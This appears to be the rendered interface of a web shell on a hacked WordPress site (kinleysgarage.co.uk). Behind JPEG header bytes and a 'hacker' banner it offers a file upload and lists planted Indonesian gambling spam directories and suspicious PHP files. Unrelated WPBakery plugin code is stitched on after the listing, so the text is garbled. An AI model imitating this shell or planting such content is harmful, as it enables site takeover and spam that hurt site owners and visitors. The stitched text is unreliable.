ÿØÿÛ C   iamH4CKEERRRRRRRRRRRS

I am a hacker in the dark of a very cold night

path :/home/www/kinleysgarage.co.uk

upload file:

List of files:

name file size edit permission action
.174556051680 KBApril 25 2025 05:55:160644
.174556504080 KBApril 25 2025 07:10:400644
.174556865680 KBApril 25 2025 08:10:560644
.174557227780 KBApril 25 2025 09:11:170644
.174557589980 KBApril 25 2025 10:11:390644
.174557951480 KBApril 25 2025 11:11:540644
.174558313380 KBApril 25 2025 12:12:130644
.174558675980 KBApril 25 2025 13:12:390644
.174559038780 KBApril 25 2025 14:13:070644
.174559400480 KBApril 25 2025 15:13:240644
.174559595880 KBApril 25 2025 15:45:580644
.174559608080 KBApril 25 2025 15:48:000644
.174559632280 KBApril 25 2025 15:52:020644
.174559641580 KBApril 25 2025 15:53:350644
.174559762580 KBApril 25 2025 16:13:450644
.174562477580 KBApril 25 2025 23:46:150644
.174562619280 KBApril 26 2025 00:09:520644
.174562657680 KBApril 26 2025 00:16:160644
.174563019180 KBApril 26 2025 01:16:310644
.174563380880 KBApril 26 2025 02:16:480644
.174563743180 KBApril 26 2025 03:17:110644
.174563920080 KBApril 26 2025 03:46:400644
.174563976480 KBApril 26 2025 03:56:040644
.174564012680 KBApril 26 2025 04:02:060644
.174564194080 KBApril 26 2025 04:32:200644
.174564646380 KBApril 26 2025 05:47:430644
.174565008080 KBApril 26 2025 06:48:000644
.174565369580 KBApril 26 2025 07:48:150644
.174565730880 KBApril 26 2025 08:48:280644
.174566092480 KBApril 26 2025 09:48:440644
.174566455080 KBApril 26 2025 10:49:100644
.174566816580 KBApril 26 2025 11:49:250644
.174567166180 KBApril 26 2025 12:47:410644
.174567178080 KBApril 26 2025 12:49:400644
.174567385180 KBApril 26 2025 13:24:110644
.174567452780 KBApril 26 2025 13:35:270644
.174567539580 KBApril 26 2025 13:49:550644
.174567901480 KBApril 26 2025 14:50:140644
.174568247080 KBApril 26 2025 15:47:500644
.174568353280 KBApril 26 2025 16:05:320644
.174568804680 KBApril 26 2025 17:20:460644
.174569166780 KBApril 26 2025 18:21:070644
.174569617780 KBApril 26 2025 19:36:170644
.174569911080 KBApril 26 2025 20:25:100644
.174569966680 KBApril 26 2025 20:34:260644
.174569979180 KBApril 26 2025 20:36:310644
.174570340580 KBApril 26 2025 21:36:450644
.174570702280 KBApril 26 2025 22:37:020644
.174571153780 KBApril 26 2025 23:52:170644
.174571515780 KBApril 27 2025 00:52:370644
.174571877280 KBApril 27 2025 01:52:520644
.174572240480 KBApril 27 2025 02:53:240644
.174572574980 KBApril 27 2025 03:49:090644
.174572692680 KBApril 27 2025 04:08:460644
.174573054680 KBApril 27 2025 05:09:060644
.174573416280 KBApril 27 2025 06:09:220644
.174573867780 KBApril 27 2025 07:24:370644
.174574229080 KBApril 27 2025 08:24:500644
.174574680180 KBApril 27 2025 09:40:010644
.174575131280 KBApril 27 2025 10:55:120644
.174575492780 KBApril 27 2025 11:55:270644
.174575854780 KBApril 27 2025 12:55:470644
.174576216980 KBApril 27 2025 13:56:090644
.174576578680 KBApril 27 2025 14:56:260644
.174576901980 KBApril 27 2025 15:50:190644
.174576940080 KBApril 27 2025 15:56:400644
.174577301580 KBApril 27 2025 16:56:550644
.174577517880 KBApril 27 2025 17:32:580644
.174577591680 KBApril 27 2025 17:45:160644
.174577650480 KBApril 27 2025 17:55:040644
.174577650780 KBApril 27 2025 17:55:070644
.174577752780 KBApril 27 2025 18:12:070644
.174578204380 KBApril 27 2025 19:27:230644
.174578654880 KBApril 27 2025 20:42:280644
.174579105680 KBApril 27 2025 21:57:360644
.174579467580 KBApril 27 2025 22:57:550644
.174579828880 KBApril 27 2025 23:58:080644
.174580191180 KBApril 28 2025 00:58:310644
.174580552580 KBApril 28 2025 01:58:450644
.174580914280 KBApril 28 2025 02:59:020644
.174581227680 KBApril 28 2025 03:51:160644
.174581275680 KBApril 28 2025 03:59:160644
.174581637180 KBApril 28 2025 04:59:310644
.174582088380 KBApril 28 2025 06:14:430644
.174582450580 KBApril 28 2025 07:15:050644
.174582902580 KBApril 28 2025 08:30:250644
.174583264680 KBApril 28 2025 09:30:460644
.174583627480 KBApril 28 2025 10:31:140644
.174583990080 KBApril 28 2025 11:31:400644
.174584352680 KBApril 28 2025 12:32:060644
.174584714780 KBApril 28 2025 13:32:270644
.174585077080 KBApril 28 2025 14:32:500644
.174585438780 KBApril 28 2025 15:33:070644
.174585800780 KBApril 28 2025 16:33:270644
.174586163180 KBApril 28 2025 17:33:510644
.174586525380 KBApril 28 2025 18:34:130644
.174586887380 KBApril 28 2025 19:34:330644
.174587248880 KBApril 28 2025 20:34:480644
.174587536580 KBApril 28 2025 21:22:450644
.174587610480 KBApril 28 2025 21:35:040644
.174587689880 KBApril 28 2025 21:48:180644
.174587972780 KBApril 28 2025 22:35:270644
.174588334780 KBApril 28 2025 23:35:470644
.174588697880 KBApril 29 2025 00:36:180644
.174589060980 KBApril 29 2025 01:36:490644
.174589422680 KBApril 29 2025 02:37:060644
.174589874780 KBApril 29 2025 03:52:270644
.174590144580 KBApril 29 2025 04:37:250644
.174590237380 KBApril 29 2025 04:52:530644
.174590599980 KBApril 29 2025 05:53:190644
.174590962880 KBApril 29 2025 06:53:480644
.174591325380 KBApril 29 2025 07:54:130644
.174591776480 KBApril 29 2025 09:09:240644
.174592138680 KBApril 29 2025 10:09:460644
.174592590580 KBApril 29 2025 11:25:050644
.174592951980 KBApril 29 2025 12:25:190644
.174593124380 KBApril 29 2025 12:54:030644
.174593402880 KBApril 29 2025 13:40:280644
.174593764880 KBApril 29 2025 14:40:480644
.174594215980 KBApril 29 2025 15:55:590644
.174594577580 KBApril 29 2025 16:56:150644
.174595028780 KBApril 29 2025 18:11:270644
.174595261380 KBApril 29 2025 18:50:130644
.174595480480 KBApril 29 2025 19:26:440644
.174595931480 KBApril 29 2025 20:41:540644
.174596293280 KBApril 29 2025 21:42:120644
.174596654580 KBApril 29 2025 22:42:250644
.htaccess243 KBApril 11 2026 06:59:320644
.htacl92 KBMarch 29 2026 20:14:080644
.lock756 KBApril 24 2025 17:50:490644
.multi0 KBApril 25 2025 15:47:560644
.tmb-April 08 2025 21:25:540777
Agen-Mix-Parlay-April 29 2025 13:00:480755
Agen-Sbobet-May 01 2025 15:08:140755
Agen-Slot-Gacor-April 25 2025 15:53:060755
Alternatif-Casino-April 18 2025 14:04:530755
Alternatif-Judi-Bola-May 09 2025 02:01:510755
Alternatif-Mix-Parlay-April 27 2025 03:58:110755
Alternatif-Sbobet-April 18 2025 14:04:530755
Alternatif-Slot-April 28 2025 03:57:420755
Casino-April 18 2025 14:04:530755
Daftar-Mix-Parlay-April 18 2025 14:04:530755
Daftar-Sbobet-April 18 2025 14:04:530755
Judi-Bola-April 26 2025 03:54:120755
Judi-Casino-April 25 2025 03:57:400755
Link-Casino-April 18 2025 14:04:530755
Link-Judi-Resmi-April 18 2025 14:04:530755
Link-Mix-Parlay-April 18 2025 14:04:530755
Link-Sbobet-April 18 2025 14:04:530755
Link-Sbobet88-April 18 2025 14:04:530755
Link-Slot-April 26 2025 15:54:540755
Live-Casino-April 18 2025 14:04:530755
Mix-Parlay-April 26 2025 03:54:150755
Mix-Parlay-Online-May 08 2025 19:04:470755
Mix-Parlay-Resmi-May 09 2025 02:03:020755
Piala-Dunia-2026-April 18 2025 14:04:530755
RTP-Slot-April 18 2025 14:04:530755
Sbobet-April 25 2025 15:53:090755
Sbobet-Online-April 18 2025 14:04:530755
Sbobet-Resmi-April 18 2025 14:04:530755
Sbobet88-April 18 2025 14:04:530755
Situs-Mix-Parlay-April 18 2025 14:04:530755
Situs-Sbobet-April 24 2025 07:51:250755
Situs-Sbobet88-April 18 2025 14:04:530755
Situs-Slot-April 18 2025 14:04:530755
Slot-Gacor-April 18 2025 14:04:530755
Slot-Gacor-Online-April 18 2025 14:04:530755
Slot-Maxwin-April 18 2025 14:04:530755
Slot-Online-April 18 2025 14:04:530755
Slot-Resmi-April 18 2025 14:04:530755
Taruhan-Judi-Bola-April 18 2025 14:04:530755
Taruhan-Mix-Parlay-April 18 2025 14:04:530755
Taruhan-Sbobet-April 18 2025 14:04:530755
core11759616 KBApril 29 2025 12:54:310600
license.txt19915 KBDecember 31 2023 18:02:200644
readme.html7409 KBJune 18 2024 05:59:140644
robots.txt93 KBApril 17 2025 06:39:580644
sitemap.xml7885 KBApril 17 2025 06:39:580644
w1px.php26454 KBMarch 16 2026 11:38:180644
wp-activate.php7387 KBFebruary 13 2024 08:19:100644
wp-admin-April 23 2025 17:29:530755
wp-blog-header.php351 KBMay 01 2025 14:59:240644
wp-comments-post.php2323 KBJune 14 2023 08:11:160644
wp-config-sample.php3336 KBOctober 15 2024 09:24:180644
wp-config.php3177 KBMay 07 2025 13:18:170644
wp-content-April 14 2025 13:14:490755
wp-cron.php5617 KBApril 29 2025 12:54:280644
wp-includes-April 07 2026 03:57:150755
wp-links-opml.php2502 KBNovember 26 2022 15:01:180644
wp-load.php14301 KBMay 08 2025 13:19:240644
wp-login-css.php265113 KBApril 23 2025 15:28:260644
wp-login.php51611 KBSeptember 30 2024 13:12:140644
wp-mail.php8543 KBSeptember 18 2024 16:37:160644
wp-settings.php29032 KBMay 07 2025 13:21:110644
wp-signup.php34385 KBJune 19 2023 12:27:280644
wp-trackback.php5102 KBOctober 18 2024 09:56:180644
xmlrpc.php3246 KBMarch 02 2024 07:49:060644
vc(); } } if ( ! function_exists( 'vc_mapper' ) ) { /** * Shorthand for Vc Mapper. * @return Vc_Mapper * @since 4.2 */ function vc_mapper() { return vc_manager()->mapper(); } } if ( ! function_exists( 'vc_settings' ) ) { /** * Shorthand for WPBakery Page Builder settings. * @return Vc_Settings * @since 4.2 */ function vc_settings() { return vc_manager()->settings(); } } if ( ! function_exists( 'vc_license' ) ) { /** * Get License manager * @return Vc_License * @since 4.2 */ function vc_license() { return vc_manager()->license(); } } if ( ! function_exists( 'vc_automapper' ) ) { /** * @return Vc_Automapper * @since 4.2 */ function vc_automapper() { return vc_manager()->automapper(); } } if ( ! function_exists( 'vc_frontend_editor' ) ) { /** * Shorthand for VC frontend editor * @return Vc_Frontend_Editor * @since 4.2 */ function vc_frontend_editor() { return vc_manager()->frontendEditor(); } } if ( ! function_exists( 'vc_backend_editor' ) ) { /** * Shorthand for VC frontend editor * @return Vc_Backend_Editor * @since 4.2 */ function vc_backend_editor() { return vc_manager()->backendEditor(); } } if ( ! function_exists( 'vc_updater' ) ) { /** * @return Vc_Updater * @since 4.2 */ function vc_updater() { return vc_manager()->updater(); } } if ( ! function_exists( 'vc_is_network_plugin' ) ) { /** * Vc is network plugin or not. * @return bool * @since 4.2 */ function vc_is_network_plugin() { return vc_manager()->isNetworkPlugin(); } } if ( ! function_exists( 'vc_path_dir' ) ) { /** * Get file/directory path in Vc. * * @param string $name - path name * @param string $file * * @return string * @since 4.2 */ function vc_path_dir( $name, $file = '' ) { return vc_manager()->path( $name, $file ); } } if ( ! function_exists( 'vc_asset_url' ) ) { /** * Get full url for assets. * * @param string $file * * @return string * @since 4.2 */ function vc_asset_url( $file ) { return vc_manager()->assetUrl( $file ); } } if ( ! function_exists( 'vc_upload_dir' ) ) { /** * Temporary files upload dir; * @return string * @since 4.2 */ function vc_upload_dir() { return vc_manager()->uploadDir(); } } if ( ! function_exists( 'vc_template' ) ) { /** * @param $file * * @return string * @since 4.2 */ function vc_template( $file ) { return vc_path_dir( 'TEMPLATES_DIR', $file ); } } if ( ! function_exists( 'vc_post_param' ) ) { /** * Get param value from $_POST if exists. * * @param $param * @param $default * * @param bool $check * @return null|string - null for undefined param. * @since 4.2 */ function vc_post_param( $param, $default = null, $check = false ) { if ( 'admin' === $check ) { check_admin_referer(); } elseif ( 'ajax' === $check ) { check_ajax_referer(); } return isset( $_POST[ $param ] ) ? $_POST[ $param ] : $default; } } if ( ! function_exists( 'vc_get_param' ) ) { /** * Get param value from $_GET if exists. * * @param string $param * @param $default * * @param bool $check * @return null|string - null for undefined param. * @since 4.2 */ function vc_get_param( $param, $default = null, $check = false ) { if ( 'admin' === $check ) { check_admin_referer(); } elseif ( 'ajax' === $check ) { check_ajax_referer(); } // @codingStandardsIgnoreLine return isset( $_GET[ $param ] ) ? $_GET[ $param ] : $default; } } if ( ! function_exists( 'vc_request_param' ) ) { /** * Get param value from $_REQUEST if exists. * * @param $param * @param $default * * @param bool $check * @return null|string - null for undefined param. * @since 4.4 */ function vc_request_param( $param, $default = null, $check = false ) { if ( 'admin' === $check ) { check_admin_referer(); } elseif ( 'ajax' === $check ) { check_ajax_referer(); } // @codingStandardsIgnoreLine return isset( $_REQUEST[ $param ] ) ? $_REQUEST[ $param ] : $default; } } if ( ! function_exists( 'vc_is_frontend_editor' ) ) { /** * @return bool * @since 4.2 */ function vc_is_frontend_editor() { return 'admin_frontend_editor' === vc_mode(); } } if ( ! function_exists( 'vc_is_page_editable' ) ) { /** * @return bool * @since 4.2 */ function vc_is_page_editable() { return 'page_editable' === vc_mode(); } } if ( ! function_exists( 'vc_action' ) ) { /** * Get VC special action param. * @return string|null * @since 4.2 */ function vc_action() { $vc_action = wp_strip_all_tags( vc_request_param( 'vc_action' ) ); return $vc_action; } } if ( ! function_exists( 'vc_is_inline' ) ) { /** * Get is inline or not. * @return bool * @since 4.2 */ function vc_is_inline() { global $vc_is_inline; if ( is_null( $vc_is_inline ) ) { $vc_is_inline = ( current_user_can( 'edit_posts' ) || current_user_can( 'edit_pages' ) ) && 'vc_inline' === vc_action() || ! is_null( vc_request_param( 'vc_inline' ) ) || 'true' === vc_request_param( 'vc_editable' ); } return $vc_is_inline; } } if ( ! function_exists( 'vc_is_frontend_ajax' ) ) { /** * @return bool * @since 4.2 */ function vc_is_frontend_ajax() { return 'true' === vc_post_param( 'vc_inline' ) || vc_get_param( 'vc_inline' ); } } /** * @depreacted since 4.8 ( use vc_is_frontend_editor ) * @return bool * @since 4.2 */ function vc_is_editor() { return vc_is_frontend_editor(); } /** * @param $value * @param bool $encode * * @return string * @since 4.2 */ function vc_value_from_safe( $value, $encode = false ) { // @codingStandardsIgnoreLine $value = preg_match( '/^#E\-8_/', $value ) ? rawurldecode( base64_decode( preg_replace( '/^#E\-8_/', '', $value ) ) ) : $value; if ( $encode ) { $value = htmlentities( $value, ENT_COMPAT, 'UTF-8' ); } return str_replace( [ '`{`', '`}`', '``', ], [ '[', ']', '"', ], $value ); } /** * @param bool $disable * @since 4.2 * */ function vc_disable_automapper( $disable = true ) { vc_automapper()->setDisabled( $disable ); } /** * @return bool * @since 4.2 */ function vc_automapper_is_disabled() { return vc_automapper()->disabled(); } /** * @param $param * @param $value * * @return mixed|string * @since 4.2 */ function vc_get_dropdown_option( $param, $value ) { if ( '' === $value && is_array( $param['value'] ) ) { $value = array_shift( $param['value'] ); } if ( is_array( $value ) ) { reset( $value ); $value = isset( $value['value'] ) ? $value['value'] : current( $value ); } $value = preg_replace( '/\s/', '_', $value ); return ( '' !== $value ? $value : '' ); } /** * @param $prefix * @param $color * * @return string * @since 4.2 */ function vc_get_css_color( $prefix, $color ) { $rgb_color = preg_match( '/rgba/', $color ) ? preg_replace( array( '/\s+/', '/^rgba\((\d+)\,(\d+)\,(\d+)\,([\d\.]+)\)$/', ), array( '', 'rgb($1,$2,$3)', ), $color ) : $color; $string = $prefix . ':' . $rgb_color . ';'; if ( $rgb_color !== $color ) { $string .= $prefix . ':' . $color . ';'; } return $string; } /** * @param $param_value * @param string $prefix * * @return string * @since 4.2 */ function vc_shortcode_custom_css_class( $param_value, $prefix = '' ) { $css_class = preg_match( '/\s*\.([^\{]+)\s*\{\s*([^\}]+)\s*\}\s*/', $param_value ) ? $prefix . preg_replace( '/\s*\.([^\{]+)\s*\{\s*([^\}]+)\s*\}\s*/', '$1', $param_value ) : ''; return $css_class; } /** * @param $subject * @param $property * @param bool|false $strict * * @return bool * @since 4.9 */ function vc_shortcode_custom_css_has_property( $subject, $property, $strict = false ) { $styles = array(); $pattern = '/\{([^\}]*?)\}/i'; preg_match( $pattern, $subject, $styles ); if ( array_key_exists( 1, $styles ) ) { $styles = explode( ';', $styles[1] ); } $new_styles = array(); foreach ( $styles as $val ) { $val = explode( ':', $val ); if ( is_array( $property ) ) { foreach ( $property as $prop ) { $pos = strpos( $val[0], $prop ); $full = ( $strict ) ? ( 0 === $pos && strlen( $val[0] ) === strlen( $prop ) ) : true; if ( false !== $pos && $full ) { $new_styles[] = $val; } } } else { $pos = strpos( $val[0], $property ); $full = ( $strict ) ? ( 0 === $pos && strlen( $val[0] ) === strlen( $property ) ) : true; if ( false !== $pos && $full ) { $new_styles[] = $val; } } } return ! empty( $new_styles ); } /** * Plugin name for VC. * * @return string * @since 4.2 */ function vc_plugin_name() { return vc_manager()->pluginName(); } /** * @param $filename * * @return bool|mixed|string * @since 4.4.3 used in vc_base when getting an custom css output * */ function vc_file_get_contents( $filename ) { global $wp_filesystem; if ( empty( $wp_filesystem ) ) { require_once ABSPATH . '/wp-admin/includes/file.php'; WP_Filesystem( false, false, true ); } /** @var WP_Filesystem_Base $wp_filesystem */ $output = ''; if ( is_object( $wp_filesystem ) ) { $output = $wp_filesystem->get_contents( $filename ); } if ( ! $output ) { // @codingStandardsIgnoreLine $output = file_get_contents( $filename ); } return $output; } /** * HowTo: vc_role_access()->who('administrator')->with('editor')->can('frontend_editor'); * @return Vc_Role_Access; * @since 4.8 */ function vc_role_access() { return vc_manager()->getRoleAccess(); } /** * Get access manager for current user. * HowTo: vc_user_access()->->with('editor')->can('frontend_editor'); * @return Vc_Current_User_Access; * @since 4.8 */ function vc_user_access() { return vc_manager()->getCurrentUserAccess(); } /** * @return array * @throws \Exception */ function vc_user_roles_get_all() { require_once vc_path_dir( 'SETTINGS_DIR', 'class-vc-roles.php' ); $vc_roles = new Vc_Roles(); $capabilities = array(); foreach ( $vc_roles->getParts() as $part ) { $partObj = vc_user_access()->part( $part ); $capabilities[ $part ] = array( 'state' => ( is_multisite() && is_super_admin() ) ? true : $partObj->getState(), 'state_key' => $partObj->getStateKey(), 'capabilities' => $partObj->getAllCaps(), ); } return $capabilities; } /** * @param $data * * @return string */ function vc_generate_nonce( $data, $from_esi = false ) { if ( ! $from_esi && ! vc_is_frontend_editor() ) { if ( method_exists( 'LiteSpeed_Cache_API', 'esi_enabled' ) && LiteSpeed_Cache_API::esi_enabled() ) { if ( method_exists( 'LiteSpeed_Cache_API', 'v' ) && LiteSpeed_Cache_API::v( '1.3' ) ) { $params = array( 'data' => $data ); return LiteSpeed_Cache_API::esi_url( 'js_composer', 'WPBakery Page Builder', $params, 'default', true );// The last parameter is to remove ESI comment wrapper } } } return wp_create_nonce( is_array( $data ) ? ( 'vc-nonce-' . implode( '|', $data ) ) : ( 'vc-nonce-' . $data ) ); } /** * @param $params * * @return string */ function vc_hook_esi( $params ) { $data = $params['data']; echo vc_generate_nonce( $data, true ); exit; } /** * @param $nonce * @param $data * * @return bool */ function vc_verify_nonce( $nonce, $data ) { return (bool) wp_verify_nonce( $nonce, ( is_array( $data ) ? ( 'vc-nonce-' . implode( '|', $data ) ) : ( 'vc-nonce-' . $data ) ) ); } /** * @param $nonce * * @return bool */ function vc_verify_admin_nonce( $nonce = '' ) { return (bool) vc_verify_nonce( ! empty( $nonce ) ? $nonce : vc_request_param( '_vcnonce' ), 'vc-admin-nonce' ); } /** * @param $nonce * * @return bool */ function vc_verify_public_nonce( $nonce = '' ) { return (bool) vc_verify_nonce( ( ! empty( $nonce ) ? $nonce : vc_request_param( '_vcnonce' ) ), 'vc-public-nonce' ); } /** * @param $type * @return bool|mixed|void * @throws \Exception */ function vc_check_post_type( $type = '' ) { if ( empty( $type ) ) { $type = get_post_type(); } $valid = apply_filters( 'vc_check_post_type_validation', null, $type ); if ( is_null( $valid ) ) { if ( is_multisite() && is_super_admin() ) { return true; } $currentUser = wp_get_current_user(); $allCaps = $currentUser->get_role_caps(); $capKey = vc_user_access()->part( 'post_types' )->getStateKey(); $state = null; if ( array_key_exists( $capKey, $allCaps ) ) { $state = $allCaps[ $capKey ]; } if ( false === $state ) { return false; } if ( null === $state ) { return in_array( $type, vc_default_editor_post_types(), true ); } return in_array( $type, vc_editor_post_types(), true ); } return $valid; } /** * @param $shortcode * @return bool|mixed|void */ function vc_user_access_check_shortcode_edit( $shortcode ) { $do_check = apply_filters( 'vc_user_access_check-shortcode_edit', null, $shortcode ); if ( is_multisite() && is_super_admin() ) { return true; } if ( is_null( $do_check ) ) { $state_check = vc_user_access()->part( 'shortcodes' )->checkStateAny( true, 'edit', null )->get(); if ( $state_check ) { return true; } else { return vc_user_access()->part( 'shortcodes' )->canAny( $shortcode . '_all', $shortcode . '_edit' )->get(); } } else { return $do_check; } } /** * @param $shortcode * @return bool|mixed|void * @throws \Exception */ function vc_user_access_check_shortcode_all( $shortcode ) { $do_check = apply_filters( 'vc_user_access_check-shortcode_all', null, $shortcode ); if ( is_multisite() && is_super_admin() ) { return true; } if ( is_null( $do_check ) ) { return vc_user_access()->part( 'shortcodes' )->checkStateAny( true, 'custom', null )->can( $shortcode . '_all' )->get(); } else { return $do_check; } } /** * htmlspecialchars_decode_deep * Call the htmlspecialchars_decode to a gived multilevel array * * @param mixed $value The value to be stripped. * * @return mixed Stripped value. * @since 4.8 * */ function vc_htmlspecialchars_decode_deep( $value ) { if ( is_array( $value ) ) { $value = array_map( 'vc_htmlspecialchars_decode_deep', $value ); } elseif ( is_object( $value ) ) { $vars = get_object_vars( $value ); foreach ( $vars as $key => $data ) { $value->{$key} = vc_htmlspecialchars_decode_deep( $data ); } } elseif ( is_string( $value ) ) { $value = htmlspecialchars_decode( $value ); } return $value; } /** * @param $str * @return mixed */ function vc_str_remove_protocol( $str ) { return str_replace( array( 'https://', 'http://', ), '//', $str ); } if ( ! function_exists( 'wpb_get_current_theme_slug' ) ) { /** * Get current theme slug (actually the directory name) * * When child theme is in use will return the parent's slug. * * @return string */ function wpb_get_current_theme_slug() { $theme = wp_get_theme(); $parent = $theme->parent(); if ( $parent instanceof WP_Theme ) { return $parent->get_stylesheet(); } return $theme->get_stylesheet(); } }